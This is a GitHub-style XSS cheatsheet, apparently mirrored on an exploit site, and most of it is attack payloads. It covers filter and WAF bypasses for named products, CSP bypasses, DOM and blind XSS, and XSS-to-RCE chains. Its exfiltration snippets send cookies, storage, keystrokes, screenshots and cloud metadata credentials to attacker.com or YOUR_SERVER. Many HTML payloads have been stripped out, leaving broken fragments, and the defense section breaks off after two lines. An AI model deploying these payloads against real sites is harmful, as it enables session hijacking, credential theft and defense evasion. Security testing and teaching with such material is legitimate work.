Share
## https://sploitus.com/exploit?id=27DB8220-5954-5EDF-96EC-A9636942C1FD
# ⚑ XSS Cheatsheet β€” Cross-Site Scripting Reference

[![Stars](https://img.shields.io/github/stars/ardakocadoruu/xss-cheatsheet?style=social)](https://github.com/ardakocadoruu/xss-cheatsheet)
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](CONTRIBUTING.md)
[![Last Updated](https://img.shields.io/badge/Updated-2026-blue.svg)]()
[![Payloads](https://img.shields.io/badge/Payloads-500%2B-red.svg)]()

**The most comprehensive XSS reference on GitHub.**  
Reflected Β· Stored Β· DOM Β· Blind XSS β€” payloads, filter bypasses, WAF evasion, CSP bypass, mXSS, prototype pollution chains, and real-world CVEs. Updated for 2026.

[Payloads](#-basic-payloads) Β· [Filter Bypass](#-filter-bypass) Β· [WAF Evasion](#-waf-evasion) Β· [DOM XSS](#-dom-based-xss) Β· [CSP Bypass](#-csp-bypass) Β· [Blind XSS](#-blind-xss) Β· [Advanced](#-advanced-techniques) Β· [Tools](#-tools)



---

## Table of Contents

- [What is XSS?](#-what-is-xss)
- [XSS Types](#-xss-types)
- [Basic Payloads](#-basic-payloads)
  - [Classic Payloads](#classic)
  - [Alert Alternatives](#alert-alternatives-when-alert-is-blocked)
  - [Without Parentheses](#without-parentheses)
  - [Without Spaces](#without-spaces)
  - [With Quotes Stripped](#with-quotes-stripped)
- [Filter Bypass](#-filter-bypass)
  - [Case Variation](#case-variation)
  - [Tag Obfuscation](#tag-obfuscation)
  - [Event Handler List](#event-handler-list)
  - [HTML Encoding](#html-encoding)
  - [JavaScript Encoding](#javascript-encoding)
  - [URL Encoding](#url-encoding)
  - [Double Encoding](#double-encoding)
  - [SVG Payloads](#svg-payloads)
  - [HTML5 Specific](#html5-specific)
  - [Data URI](#data-uri)
- [Context-Specific Payloads](#-context-specific-payloads)
  - [HTML Context](#html-context)
  - [HTML Attribute Context](#html-attribute-context)
  - [JavaScript Context](#javascript-context)
  - [JavaScript String Context](#javascript-string-context)
  - [URL Context](#url-context-hrefsrc-attributes)
  - [CSS Context](#css-context)
  - [JSON / Template Context](#jsontemplate-context)
- [WAF Evasion](#-waf-evasion)
  - [Cloudflare Bypass](#cloudflare-bypass)
  - [ModSecurity Bypass](#modsecurity-bypass)
  - [AWS WAF Bypass](#aws-waf-bypass)
  - [Generic Evasion](#generic-waf-evasion)
- [CSP Bypass](#-csp-bypass)
  - [unsafe-inline](#unsafe-inline-present)
  - [script-src self](#script-src-self-only)
  - [CDN Whitelists](#whitelisted-cdn-domains)
  - [base-uri missing](#base-uri-missing)
  - [Dangling Markup](#via-dangling-markup)
  - [Nonce-based CSP](#nonce-based-csp)
- [DOM-Based XSS](#-dom-based-xss)
  - [Common Sources](#common-sources)
  - [Common Sinks](#common-sinks)
  - [DOM XSS Payloads](#dom-xss-payloads)
  - [AngularJS Template Injection](#angularjs-template-injection)
- [Blind XSS](#-blind-xss)
- [XSS Polyglots](#-xss-polyglots)
- [XSS via File Upload](#-xss-via-file-upload)
- [XSS in HTTP Headers](#-xss-in-http-headers)
- [XSS to RCE](#-xss-to-rce)
- [Advanced Techniques](#-advanced-techniques)
  - [mXSS](#mxss-mutation-xss)
  - [DOM Clobbering](#dom-clobbering)
  - [Prototype Pollution to XSS](#prototype-pollution-to-xss)
  - [CSTI](#csti-client-side-template-injection)
- [Defense](#-defense)
- [Real-World CVEs](#-real-world-cves)
- [Tools](#-tools)
- [References](#-references)
- [Contributing](#contributing)

---

## 🎯 What is XSS?

Cross-Site Scripting (XSS) is a client-side code injection attack where an attacker injects malicious scripts into content served by a trusted web application. When a victim's browser renders the page, the injected script executes with the same privileges as legitimate scripts from that origin.

### Why XSS Matters

XSS is consistently in the OWASP Top 10 because the impact is severe and the attack surface is enormous:

| Impact | Description |
|--------|-------------|
| **Session Hijacking** | Steal `document.cookie` and take over authenticated sessions |
| **Account Takeover** | Change email/password via forged requests using the victim's session |
| **Keylogging** | Capture every keystroke, including passwords, credit card numbers |
| **Phishing** | Inject fake login forms that submit credentials to attacker |
| **Defacement** | Modify page content to spread misinformation or embarrass the target |
| **Malware Distribution** | Redirect victims to exploit kits |
| **Crypto Mining** | Run cryptominers in victim browsers |
| **SSRF / Internal Port Scan** | Use victim's browser to probe internal network |
| **Credential Harvesting** | Read autofilled credentials from the DOM |
| **Screenshot / Webcam** | Capture screen via `getDisplayMedia()`, webcam via `getUserMedia()` |

### The Same-Origin Policy and XSS

XSS defeats the Same-Origin Policy (SOP). Because the malicious script is served *from the target origin*, the browser treats it as trusted. This means XSS gives an attacker:

- Full read/write access to the DOM
- Access to all cookies **not** protected by `HttpOnly`
- The ability to make authenticated XHR/fetch requests to the same origin
- Access to `localStorage` and `sessionStorage`

---

## πŸ—ΊοΈ XSS Types

```
Cross-Site Scripting (XSS)
β”‚
β”œβ”€β”€ Reflected XSS
β”‚   β”œβ”€β”€ Payload in request, reflected in response immediately
β”‚   β”œβ”€β”€ Requires victim to click crafted link
β”‚   β”œβ”€β”€ Stored: NO β€” not persistent
β”‚   └── Example: search?q=alert(1)
β”‚
β”œβ”€β”€ Stored XSS (Persistent)
β”‚   β”œβ”€β”€ Payload stored in database, file, log, etc.
β”‚   β”œβ”€β”€ Executes on every page load for every victim
β”‚   β”œβ”€β”€ Stored: YES β€” most dangerous type
β”‚   └── Example: comment field, profile name, forum post
β”‚
β”œβ”€β”€ DOM-Based XSS
β”‚   β”œβ”€β”€ Payload processed by client-side JS, never reaches server
β”‚   β”œβ”€β”€ Source β†’ Sink flow entirely in browser
β”‚   β”œβ”€β”€ Often missed by server-side WAFs and scanners
β”‚   └── Example: location.hash β†’ innerHTML assignment
β”‚
└── Blind XSS
    β”œβ”€β”€ Payload executes in a different context than where it's injected
    β”œβ”€β”€ Fires in admin panels, log viewers, CRM systems
    β”œβ”€β”€ Time delay between injection and execution (hours/days)
    └── Example: support ticket field that fires in agent dashboard
```

| Type | Persistence | Who Gets Hit | Server Sees Payload? |
|------|-------------|--------------|----------------------|
| Reflected | No | Targeted victim | Yes |
| Stored | Yes | All visitors | Yes |
| DOM | No | Targeted victim | Usually No |
| Blind | Yes (remote) | Admin / backend user | Yes (at injection point) |

---

## πŸ’₯ Basic Payloads

### Classic

The foundational payloads every security researcher knows. These work where no filtering exists.

```html

alert(1)


alert(document.domain)


alert(document.cookie)





alert(1)



alert(1)



var x=1;alert(x)


window.alert(1)


alert(1)


(function(){alert(1)})()


(() => alert(1))()
```

### Alert Alternatives (when `alert` is blocked)

Many modern applications and WAFs block the word `alert`. Use these alternatives:

```javascript
// confirm() β€” shows OK/Cancel dialog
confirm(1)

// prompt() β€” shows input dialog  
prompt(1)

// console.log() β€” silent, check browser console
console.log(document.cookie)

// print() β€” opens print dialog (noisy but visible)
print()

// debugger β€” pauses DevTools if open
debugger

// throw β€” visible in console as uncaught error
throw 1

// Using window object
window['alert'](1)

// Using top
top['alert'](1)

// Constructing alert string to evade static analysis
window['\x61\x6c\x65\x72\x74'](1)

// Using eval
eval('ale'+'rt(1)')

// Function constructor
Function('alert(1)')()

// setTimeout / setInterval
setTimeout(alert,0,1)
setInterval(alert,9999,1)

// Using fetch to exfiltrate (when alert is blocked entirely)
fetch('https://attacker.com/?c='+document.cookie)

// navigator.sendBeacon β€” harder to block, works on page unload
navigator.sendBeacon('https://attacker.com/',document.cookie)
```

### Without Parentheses

Parentheses are sometimes filtered. These techniques execute code without them:

```javascript
// Template literal as argument (backtick replaces parentheses)
alert`1`
alert`${document.cookie}`

// onerror with template literal


// throw with alert as onerror
window.onerror=alert;throw 1

// Using location
location='javascript:alert\x281\x29'

// Using execCommand (legacy)
alert(1)

// document.write with encoded parens
document.write('\x3cimg src=x onerror=alert`1`\x3e')

// msExecAttr (IE legacy)
// 

// via.href
click
```

### Without Spaces

When spaces are stripped or flagged:

```html

















```

### With Quotes Stripped

When single and double quotes are removed:

```html













XSS



```

---

## πŸ”“ Filter Bypass

### Case Variation

HTML tag names and attribute names are case-insensitive. Mix case to bypass case-sensitive filters:

```html
alert(1)
alert(1)
alert(1)
alert(1)









```

### Tag Obfuscation

Confuse parsers by breaking tags in ways browsers still understand:

```html

ipt>alert(1)ipt>





alert(1)


alert(1)


alert(1)


alert(1)


alert(1)


alert(1)//


alert(1)
alert(1)
alert(1)
alert(1)
```

### Event Handler List

A comprehensive list of HTML event handlers usable for XSS. For the full reference with browser support, see [`payloads/event-handlers.md`](payloads/event-handlers.md).

**Mouse Events:**
```html
Hover me
Hover then leave
Click down
Release click
Click me
Double click
Move mouse
Right click
Scroll wheel
```

**Focus Events (no interaction on tabindex elements):**
```html




link
```

**Form Events:**
```html




```

**Load Events (fire without user interaction):**
```html










```

**HTML5 Events (user interaction):**
```html

scrolling




```

**Clipboard Events:**
```html



```

**Drag Events:**
```html
drag me
drop here
```

**Animation/Transition Events:**
```html

@keyframes x{}


hover
```

**Pointer Events:**
```html
hover
hover
press
release
```

### HTML Encoding

Encode ``, `"`, `'`, `&` using HTML entities. Browsers decode these before parsing attributes:

```html

<script>alert(1)</script>
alert(1) -->


<script>alert(1)</script>


<script>alert(1)</script>


<script>alert(1)













```

### JavaScript Encoding

Inside JavaScript strings and attribute values, unicode escapes are processed:

```javascript
// \uXXXX unicode escapes
'\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029'
// But you need eval to execute it:
eval('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')

// \x hex escapes
eval('\x61\x6c\x65\x72\x74\x28\x31\x29')

// Octal escapes (non-strict mode)
eval('\141\154\145\162\164\50\61\51')

// Template literals with tagged templates
String.raw`\u{61}lert`(1)

// String.fromCharCode
eval(String.fromCharCode(97,108,101,114,116,40,49,41))

// Spread into String.fromCharCode
eval(String.fromCharCode(...[97,108,101,114,116,40,49,41]))

// atob (base64 decode)
eval(atob('YWxlcnQoMSk='))

// In URL context β€” \uXXXX in href
click
click
```

### URL Encoding

When payload is reflected inside URL parameters or `href`/`src` attributes:

```
%3Cscript%3Ealert(1)%3C/script%3E
= alert(1)

%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
= 

javascript:%61lert(1)
= javascript:alert(1)

javascript:void(alert(1))

// With newline (bypasses some URL filters)
java%0ascript:alert(1)
java%09script:alert(1)
java%0Dscript:alert(1)

// Tab, CR, LF in protocol
	javascript:alert(1)

javascript:alert(1)

javascript:alert(1)
```

### Double Encoding

When the application decodes once before filtering, then the browser decodes again:

```
%253Cscript%253E = URL decode once β†’ %3Cscript%3E = URL decode twice β†’ 

%253Cscript%253Ealert(1)%253C%252Fscript%253E

// Double-encoded event handler
%2522%2520onmouseover%253Dalert(1)%2520x%253D%2522
= %22 onmouseover%3Dalert(1) x%3D%22
= " onmouseover=alert(1) x="

// Useful when app does urldecode() then inserts into HTML without encoding
```

### SVG Payloads

SVG is an XML-based format that supports script execution and is often allowed where HTML tags are not:

```html




alert(1)



  alert(1)









alert(1)#x"/>













  

```

### HTML5 Specific

HTML5 introduced new elements and attributes that can be abused:

```html




click









text
text












1




















alert(1)
alert(1)
alert(1)
```

### Data URI

`data:` URIs can contain full HTML documents that execute scripts:

```html

alert(document.domain)">





alert(1)">click


alert(1)">


alert(1)">


">



```

---

## 🌐 Context-Specific Payloads

Understanding injection context is the most critical skill in XSS exploitation. The same payload won't work everywhere.

### HTML Context

Injecting between HTML tags. Anything you insert becomes part of the HTML document:

```html

You searched for: alert(1)











hover





alert(1)


alert(1)">
```

### HTML Attribute Context

Injecting inside an attribute value. You need to break out of the attribute first:

```html
 -->







alert(1)

 -->



 -->




click


 
 



```

### JavaScript Context

Injecting inside a `` block or an external `.js` file:

```javascript
// Source: var name = "INJECT";
// Payload: ";alert(1);//
var name = "";alert(1);//";

// Source: var name = 'INJECT';
// Payload: ';alert(1);//
var name = '';alert(1);//';

// Source: var data = INJECT;  (unquoted β€” JSON-like)
// Payload: 1;alert(1)
var data = 1;alert(1);

// Source: 
// In old XHTML where comments are meaningful
// Payload: -->alert(1)alert(1)

// Closing script tag to break out
// Source: var x = "INJECT"
// Payload: alert(1)
var x = "alert(1)"

// Template literal context: var x = `INJECT`
// Payload: ${alert(1)}
var x = `${alert(1)}`

// Inside regex context: var re = /INJECT/
// Payload: /;alert(1);//
var re = /;alert(1);///
```

### JavaScript String Context

Breaking out of JavaScript string contexts specifically:

```javascript
// Double-quote string β€” most common
';alert(1)//
";alert(1)//
\';alert(1)//
\";alert(1)//

// If backslash escaping is applied:
// Input: test\'
// Result: test\\' (escape is escaped, quote ends string)
// Payload: test\
// β†’ test\' β€” the backslash escapes the quote, payload follows

// String concatenation abuse
'+alert(1)+'
"+alert(1)+"

// Unicode line terminators that break JS strings (U+2028, U+2029)
// These characters act as line terminators in JS, breaking strings
// Payload in URL: test%E2%80%A8alert(1)

// Template literal escape
`${alert(1)}`
`\`;alert(1);//`

// In JSON reflected into script:
// {"name": "INJECT"}
// Payload: ","x":"alert(1)
```

### URL Context (href/src attributes)

When your input is placed inside `href`, `src`, `action`, or similar URL attributes:

```
javascript:alert(1)
javascript:alert(document.cookie)
javascript:void(alert(1))
javascript://comment%0Aalert(1)

// Bypass with line terminators (decoded before parsing)
java	script:alert(1)    
java
script:alert(1)    
java
script:alert(1)    

// Protocol-relative in src/href that you can control domain
//attacker.com/xss.js

// In href with whitespace before protocol (some parsers strip it)
" href="  javascript:alert(1)

// vbscript (IE only, legacy)
vbscript:msgbox(1)
```

### CSS Context

XSS via CSS is mostly historical (IE `expression()`), but still relevant in some contexts:

```css
/* Internet Explorer expression() β€” executes JavaScript */


/* Modern CSS doesn't allow JS execution, but can be used for data exfiltration */
/* Attribute selector exfiltration (blind) */
input[value^=a] { background: url(//attacker.com/?c=a) }
input[value^=b] { background: url(//attacker.com/?c=b) }
/* ... repeat for all chars */

/* CSS injection β†’ stylesheet β†’ load attacker CSS */


/* In  tag β€” can use @import */
@import 'https://attacker.com/x.css'

/* -moz-binding (Firefox, ancient) */


/* CSS content property with script (HTML parser quirk) */
*{x:expression(alert(1))}
```

### JSON/Template Context

When payload is reflected inside JSON responses or server-side template engines:

```javascript
// JSON reflected in script tag:
// var data = {"user":"INJECT"};
// Payload: "}; alert(1); var x = {"y":"
var data = {"user":""}; alert(1); var x = {"y":""};

// JSON with JSONP callback injection:
// callback=INJECT&data=...
// Payload: alert(1)//
alert(1)//({...})

// AngularJS template injection (double curly braces)
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{[].pop.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}

// Vue.js template injection
{{_c.constructor('alert(1)')()}}

// Jinja2/Twig (server-side, but sometimes reflected with no output encoding)
{{7*7}}  β€” test for SSTI first
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

// Handlebars
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('id');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

---

## 🚫 WAF Evasion

WAF bypass is an art of understanding how WAFs tokenize and match patterns vs. how browsers parse HTML. For the deep-dive guide, see [`payloads/waf-bypass.md`](payloads/waf-bypass.md).

### Cloudflare Bypass

Cloudflare's WAF uses a combination of signature matching and anomaly scoring. Known bypass techniques (as of 2025-2026):

```html

























alert(1)">
alert(1)">
```

### ModSecurity Bypass

ModSecurity CRS (Core Rule Set) uses a paranoia-level system. Default is level 1-2. Bypasses:

```html

alert(1)











alert(1)









" across chunk boundary bypasses string matching -->





alert(1) -->
```

### AWS WAF Bypass

AWS Managed Rules for XSS are signature-based and updated periodically:

```html

alert(1)





alert(1)












XSS
```

### Generic WAF Evasion

Techniques that work against multiple WAF products:

```html

al/*comment*/ert(1)
al//comment\nert(1)







?search=alert(1)


Transfer-Encoding: chunked




 -->
<script>alert(1)</script>









Content-Type: text/plain
Content-Type: text/html




alert(1)




Cookie: tracking=alert(1)
```

---

## πŸ”’ CSP Bypass

Content Security Policy is the primary XSS mitigation. Understanding how to bypass misconfigurations is essential for security assessments. Use [CSP Evaluator](https://csp-evaluator.withgoogle.com/) to check CSP strength.

### unsafe-inline Present

If `script-src` includes `'unsafe-inline'`, CSP provides no XSS protection:

```html


alert(1)

```

This is the most common CSP misconfiguration. Any payload that injects `` or event handlers will work.

### script-src 'self' Only

When only same-origin scripts are allowed:

```html
















/api/users?callback=alert
/search?jsoncallback=alert
/service?cb=alert
```

### Whitelisted CDN Domains

If CSP allows loading from CDNs that serve user-controllable or library content:

```html



{{constructor.constructor('alert(1)')()}}




{{$eval.constructor('alert(1)')()}}








$.getScript('/api/data?callback=alert(1)//')





```

### base-uri Missing

If `base-uri` directive is absent from CSP, inject a `` tag to redirect relative script loads:

```html

 -->






 tag is allowed -->
```

### Via Dangling Markup

When you cannot execute scripts but can inject HTML (e.g., strict CSP blocks all scripts), dangling markup exfiltrates data:

```html











```

### Nonce-based CSP

When CSP uses `'nonce-XXXX'` to allow specific inline scripts:

```html








 ... if nonce is reused -->



document.createElement('script') + s.src = 'attacker.com'




alert(1)
```

---

## πŸ•΅οΈ DOM-Based XSS

DOM XSS occurs entirely client-side. The server never sees the payload. This makes it invisible to server-side WAFs, logs, and IDS unless they inspect JavaScript execution.

### Common Sources

Sources are places where attacker-controlled data enters the JavaScript execution environment:

| Source | Description | Example |
|--------|-------------|---------|
| `location.href` | Full URL including hash | `window.location.href` |
| `location.search` | Query string (`?key=value`) | `location.search.split('=')[1]` |
| `location.hash` | Fragment (`#value`) | `location.hash.slice(1)` |
| `location.pathname` | URL path | `/page/INJECT/more` |
| `document.referrer` | HTTP Referer header | `document.referrer` |
| `document.cookie` | Cookie values | Cookie manipulation |
| `window.name` | Cross-origin persistent | Set in attacker page, read in target |
| `postMessage` | Cross-window messaging | Missing origin check |
| `localStorage` | Browser storage | Stored value later used in DOM |
| `sessionStorage` | Session storage | Same as localStorage |
| `XMLHttpRequest.responseText` | AJAX response | If response contains user data |
| `fetch().then(r=>r.text())` | Fetch response | Same |
| `WebSocket data` | WS message | Unsanitized WebSocket message |

### Common Sinks

Sinks are dangerous functions/properties that interpret data as code or HTML:

| Sink | Type | Danger |
|------|------|--------|
| `innerHTML` | HTML | Parses and renders HTML, executes event handlers |
| `outerHTML` | HTML | Same as innerHTML |
| `insertAdjacentHTML` | HTML | Inserts raw HTML |
| `document.write()` | HTML | Writes raw HTML to document |
| `document.writeln()` | HTML | Same + newline |
| `eval()` | JS | Evaluates string as JavaScript |
| `Function()` | JS | Creates and executes function from string |
| `setTimeout(string)` | JS | Evaluates string after delay |
| `setInterval(string)` | JS | Evaluates string repeatedly |
| `setImmediate(string)` | JS | IE-specific eval |
| `execScript()` | JS | IE-specific eval |
| `location.href = ...` | URL | Sets location β€” `javascript:` danger |
| `location.assign()` | URL | Navigation β€” `javascript:` danger |
| `location.replace()` | URL | Navigation β€” `javascript:` danger |
| `element.src` | URL | Script/iframe src |
| `jQuery.html()` | HTML | jQuery innerHTML wrapper |
| `jQuery.append()` | HTML | Appends HTML string |
| `jQuery.prepend()` | HTML | Prepends HTML string |
| `jQuery.after()` | HTML | Inserts HTML after element |
| `jQuery.before()` | HTML | Inserts HTML before element |
| `jQuery.$()` | HTML | `$(htmlString)` creates elements |
| `element.outerHTML` | HTML | Replaces element with HTML |
| `Range.createContextualFragment()` | HTML | Creates DOM fragment from HTML |

### DOM XSS Payloads

```javascript
// For innerHTML / outerHTML sinks:
// Payload goes into hash: https://victim.com/page#PAYLOAD

// If: document.getElementById('x').innerHTML = location.hash.slice(1)
#
#
// Note:  via innerHTML does NOT execute β€” use event handlers instead

// For document.write() sinks:
// document.write(location.search) or document.write(location.hash)
#alert(1)
// document.write DOES execute scripts

// For eval() / setTimeout(string) sinks:
// eval(location.hash.slice(1))
#alert(1)
#};alert(1);//
#'+alert(1)+'

// For location.href sinks:
// location.href = 'https://victim.com/' + location.hash.slice(1)
// ↑ Usually safe (sets URL). But if it's used differently:
// location = location.hash.slice(1)
#javascript:alert(1)

// For jQuery $() sink:
// $(location.hash)
#

// postMessage DOM XSS (missing origin check):
// window.addEventListener('message', function(e) {
//   document.getElementById('out').innerHTML = e.data;
// });
// Attacker page:
// 
// document.getElementById('f').contentWindow.postMessage('', '*')

// window.name DOM XSS:
// target page: document.write(window.name)
// Attacker page sets name before navigating:
// window.name='alert(1)';location='https://victim.com/page'

// document.referrer source:
// Attacker page links to victim with referrer containing payload
// Victim page: document.write(document.referrer)
```

### AngularJS Template Injection

AngularJS sandboxing was defeated across multiple versions. If the app uses AngularJS and has `ng-app`:

```javascript
// Basic (all versions up to 1.5.x before sandbox hardening)
{{constructor.constructor('alert(1)')()}}

// AngularJS 

// ng-src / ng-href
click

// Filter injection
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

// Version detection:
//  β€” check version in file
// angular.version.full
```

---

## πŸ‘οΈ Blind XSS

Blind XSS fires in a different context than where the payload is injected β€” typically admin panels, internal dashboards, log viewers, CRM systems, or support ticket systems.

### What is Blind XSS

Unlike reflected or stored XSS where you see the execution immediately, blind XSS payloads:

- Are stored and may execute hours or days later
- Execute in a browser/context you cannot directly observe
- Require a callback mechanism to confirm execution
- Provide information about the admin environment (cookies, screenshot, keystrokes)

**Common injection points:**

- Contact forms / support ticket submission
- User registration fields (first name, last name, username)
- Profile bios, descriptions, "about me" fields  
- Feedback / bug report forms
- Order notes / shipping instructions
- Chat messages in customer support widgets
- HTTP headers (User-Agent, Referer, X-Forwarded-For) logged by admin tools
- File names on upload
- Log files viewed in a web interface
- Error messages that appear in admin error dashboards

### Blind XSS Payloads

```html










fetch('https://YOUR_SERVER/collect?c='+encodeURIComponent(document.cookie)+'&u='+encodeURIComponent(location.href))



var s=document.createElement('script');
s.src='https://html2canvas.hertzen.com/dist/html2canvas.min.js';
s.onload=function(){
  html2canvas(document.body).then(function(canvas){
    fetch('https://YOUR_SERVER/screenshot',{
      method:'POST',
      body:canvas.toDataURL()
    });
  });
};
document.head.appendChild(s);




var keys='';
document.addEventListener('keypress',function(e){
  keys+=e.key;
  if(keys.length>20){
    fetch('https://YOUR_SERVER/keys?k='+btoa(keys));
    keys='';
  }
});




(function(){
  var data = {
    cookies: document.cookie,
    url: location.href,
    title: document.title,
    referrer: document.referrer,
    userAgent: navigator.userAgent,
    localStorage: JSON.stringify(localStorage),
    sessionStorage: JSON.stringify(sessionStorage)
  };
  fetch('https://YOUR_SERVER/blind', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify(data)
  });
})();




User-Agent: 


Referer: https://attacker.com/">


X-Forwarded-For: 1.1.1.1">
```

### Platforms for Blind XSS

| Platform | Description | URL |
|----------|-------------|-----|
| **XSS Hunter** | The gold standard for blind XSS. Captures cookies, DOM, screenshot, HTTP headers | https://xsshunter.trufflesecurity.com |
| **CanaryTokens** | Alerting when your token is hit | https://canarytokens.org |
| **Interactsh** | Open-source OOB interaction server | https://github.com/projectdiscovery/interactsh |
| **Burp Collaborator** | Enterprise blind XSS + SSRF detection | Burp Suite Pro |
| **ezXSS** | Self-hosted blind XSS platform | https://github.com/ssl/ezXSS |

### Exfiltration Payloads

```javascript
// Cookie theft
fetch('https://attacker.com/?c='+document.cookie)

// Cookie + URL context
fetch('https://attacker.com/x?c='+btoa(document.cookie)+'&u='+btoa(location.href))

// Full page source exfiltration
fetch('https://attacker.com/src', {method:'POST', body:document.documentElement.outerHTML})

// LocalStorage dump
var ls={};for(var i=0;i\x3csVg/\x3e

// 2. The Classic Multicontext Polyglot
'">>">prompt(1)@gmail.com'-->">alert(1)alert(1)alert(1);

// 6. Self-contained polyglot with encoding layers
%22%3E%3Csvg/onload=alert(1)%3E%22

// 7. Polyglot targeting template + HTML + JS contexts
{{1+1}}alert(1){{constructor.constructor('alert(1)')()}}

// 8. Polyglot for textarea/title/style context breaks
alert(1)

// 9. Polyglot that works in JSON, HTML attribute, and JS
\u003cscript\u003ealert(1)\u003c/script\u003e
```

---

## πŸ“¦ XSS via File Upload

File upload functionality is a rich attack surface for stored XSS, especially when uploaded files are served from the same origin.

### SVG File Upload

SVG files are XML that supports embedded JavaScript and is rendered as HTML in browsers:

```xml




  
  Malicious SVG





  
    alert(document.cookie);
  





  







```

### HTML File Upload

If the application allows `.html` or `.htm` file uploads:

```html




  Legitimate looking content
  
    // Full origin access since this is served from victim domain
    document.cookie; // readable
    localStorage; // readable
    // Can make same-origin requests
    fetch('/api/admin/users').then(r=>r.json()).then(d=>
      fetch('https://attacker.com/exfil',{method:'POST',body:JSON.stringify(d)})
    );
  


```

### XML File Upload

DOCX, XLSX, ODT β€” these are ZIP files containing XML:

```xml


alert(1)







]>
&xxe;

```

### Other File Types

```




File: avatar.jpg
Content: alert(1)








 tags -->
```

---

## πŸ”— XSS in HTTP Headers

HTTP headers that are logged and displayed in admin panels, or reflected in responses, can carry XSS payloads:

### User-Agent

```
User-Agent: alert(1)
User-Agent: 
User-Agent: ">alert(1)
User-Agent: Mozilla/5.0 
```

**Where it fires:** Analytics dashboards, server logs viewed in web UI, CRM systems, error tracking platforms (Sentry, Bugsnag if they don't sanitize), support ticket systems.

### Referer Header

```
Referer: https://attacker.com/">
Referer: https://attacker.com/alert(1)
Referer: ">alert(1)
```

### X-Forwarded-For

```
X-Forwarded-For: alert(1)
X-Forwarded-For: 1.1.1.1, alert(1)
X-Forwarded-For: ">
```

**Where it fires:** Admin panels showing user IPs, Nginx/Apache log viewers, fraud detection dashboards, geographic analytics.

### Cookie Header

```
Cookie: session=abc; trackingId=alert(1)
Cookie: name=">alert(1); other=value
```

### Accept-Language / Accept-Encoding

```
Accept-Language: alert(1)
Accept: text/html,alert(1)
```

### Custom Headers

```
X-Custom-Header: 
X-Original-URL: ">alert(1)
X-Rewrite-URL: alert(1)
```

---

## πŸ”„ XSS to RCE

In specific environments, XSS can escalate to Remote Code Execution:

### Electron Applications

Electron apps run a Chromium browser with Node.js integration. XSS in an Electron app can access the Node.js `require()` function:

```javascript
// If nodeIntegration is enabled (Electron r.text()).then(d=>fetch('https://attacker.com/?d='+btoa(d)))

// Internal port scan
for(var port=80; portr.text())
  .then(role => fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role))
  .then(r=>r.json())
  .then(creds => fetch('https://attacker.com/',{method:'POST',body:JSON.stringify(creds)}))
```

### nw.js (Node-WebKit)

```javascript
// Similar to Electron, nw.js apps have Node.js integration
// Check: typeof nw !== 'undefined'
nw.Shell.openExternal('calc.exe')
require('child_process').exec('id', function(e,o){alert(o)})
```

---

## ⚑ Advanced Techniques

### mXSS (Mutation XSS)

Mutation XSS exploits differences between the HTML serializer and the HTML parser. A string that looks safe after sanitization becomes dangerous after the browser re-parses it.

```html

"> -->
 is inside a title attribute β€” safe -->





">


alert(1)">











```

### DOM Clobbering

DOM Clobbering uses HTML elements with specific `id` or `name` attributes to overwrite JavaScript globals:

```html















  
  








 -->







 -->

```

### Prototype Pollution to XSS

Prototype pollution sets properties on `Object.prototype`, affecting all objects. When combined with a gadget that reads from prototype chain into a sink:

```javascript
// Prototype pollution vulnerability:
// (Somewhere in the app, user-controlled keys are set on objects)
// e.g., merge(obj, userInput) where userInput = {"__proto__":{"polluted":"payload"}}

// After pollution: ({}).polluted === "payload"

// Gadget chains that lead to XSS:

// Gadget 1: innerHTML assignment
// Code: element.innerHTML = options.template || defaultTemplate;
// Pollute: __proto__.template = ""
// Now: ({}).template === ""

// Gadget 2: jQuery.parseHTML
// jQuery internals read from prototype for some operations
// $.parseHTML('', {context: polluted_context})

// Gadget 3: Angular template
// AngularJS reads from prototype for scope variables

// Gadget 4: Lodash / deepmerge vulnerabilities
// Input:  {"__proto__": {"innerHTML": ""}}
// If this sets document.__proto__.innerHTML β†’ all elements affected

// Finding gadgets: look for:
// - sink(obj[key]) where obj might have polluted properties
// - typeof checks that don't exist before reading from inherited

// Testing for prototype pollution:
// Open browser console, try:
Object.prototype.foo = 'polluted';
// Then check if ({}).foo === 'polluted'
// If yes, look for gadgets in loaded libraries

// Tools: ppfuzz, server-side prototype pollution scanner
```

### CSTI (Client-Side Template Injection)

Client-Side Template Injection exploits JavaScript template engines:

```javascript
// AngularJS β€” see DOM XSS section above

// Vue.js 2.x
// If user input is interpolated in template:
// {{ userInput }}
// Payload: {{constructor.constructor('alert(1)')()}}
// Works in v-bind and {{ }} template expressions

// Vue.js 3.x (more restricted, but still possible):
// Via custom directives with user-controlled binding expressions

// React β€” React's JSX is compiled and generally safe
// But dangerous patterns:
// dangerouslySetInnerHTML={{ __html: userInput }} β†’ XSS
//  el.innerHTML = userInput} /> β†’ XSS
// eval(userInput) in components
// Passing URL props without validation:  β†’ javascript: XSS

// Handlebars
// Triple braces bypass HTML encoding: {{{userInput}}}
// Payload: alert(1)

// Mustache
// Same: {{{userInput}}} bypasses encoding

// Pug/Jade (Node.js SSR but rendered client-side in some configs)
// != operator skips escaping: p!= userInput
// Payload: alert(1)

// Testing CSTI:
// Payload: {{7*7}} β†’ check if 49 appears in output
// If yes, template injection confirmed β€” then escalate to JS execution
```

---

## πŸ›‘οΈ Defense

### Developer Checklist

**Output Encoding (Most Important):**
- Use `textContent` instead of `innerHTML` when inserting user data into the DOM
- Use framework-provided safe methods (React's JSX auto-encodes, Angular's `{{ }}` auto-encodes)
